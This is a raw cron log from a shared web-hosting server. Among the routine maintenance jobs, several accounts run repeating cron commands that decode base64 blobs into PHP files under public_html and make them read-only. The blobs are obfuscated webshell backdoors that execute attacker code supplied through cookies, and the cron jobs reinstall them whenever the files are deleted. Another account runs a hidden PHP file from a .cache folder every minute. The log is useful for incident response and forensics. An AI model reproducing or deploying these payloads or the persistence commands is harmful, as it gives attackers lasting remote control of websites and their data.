Jun  7 14:45:02 medusa CROND[12355]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:45:02 medusa CROND[12356]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:45:02 medusa CROND[12358]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:45:02 medusa CROND[12360]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 14:45:02 medusa CROND[12366]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 14:45:02 medusa CROND[12368]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:45:02 medusa CROND[12371]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:45:02 medusa CROND[12370]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 14:45:02 medusa CROND[12373]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:45:02 medusa CROND[12375]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:45:02 medusa CROND[12376]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:45:02 medusa CROND[12367]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 14:45:02 medusa CROND[12369]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 14:45:02 medusa CROND[12426]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:46:02 medusa CROND[14330]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:46:02 medusa CROND[14331]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 14:46:02 medusa CROND[14332]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:46:02 medusa CROND[14333]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:46:02 medusa CROND[14334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:46:02 medusa CROND[14337]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:46:02 medusa CROND[14339]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:46:02 medusa CROND[14341]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:46:02 medusa CROND[14342]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:46:02 medusa CROND[14343]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:46:02 medusa CROND[14349]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 14:46:02 medusa CROND[14350]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:46:02 medusa CROND[14351]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:46:02 medusa CROND[14346]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 14:46:02 medusa CROND[14352]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 14:47:01 medusa CROND[16347]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:47:01 medusa CROND[16357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:47:02 medusa CROND[16360]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:47:02 medusa CROND[16361]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:47:02 medusa CROND[16362]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
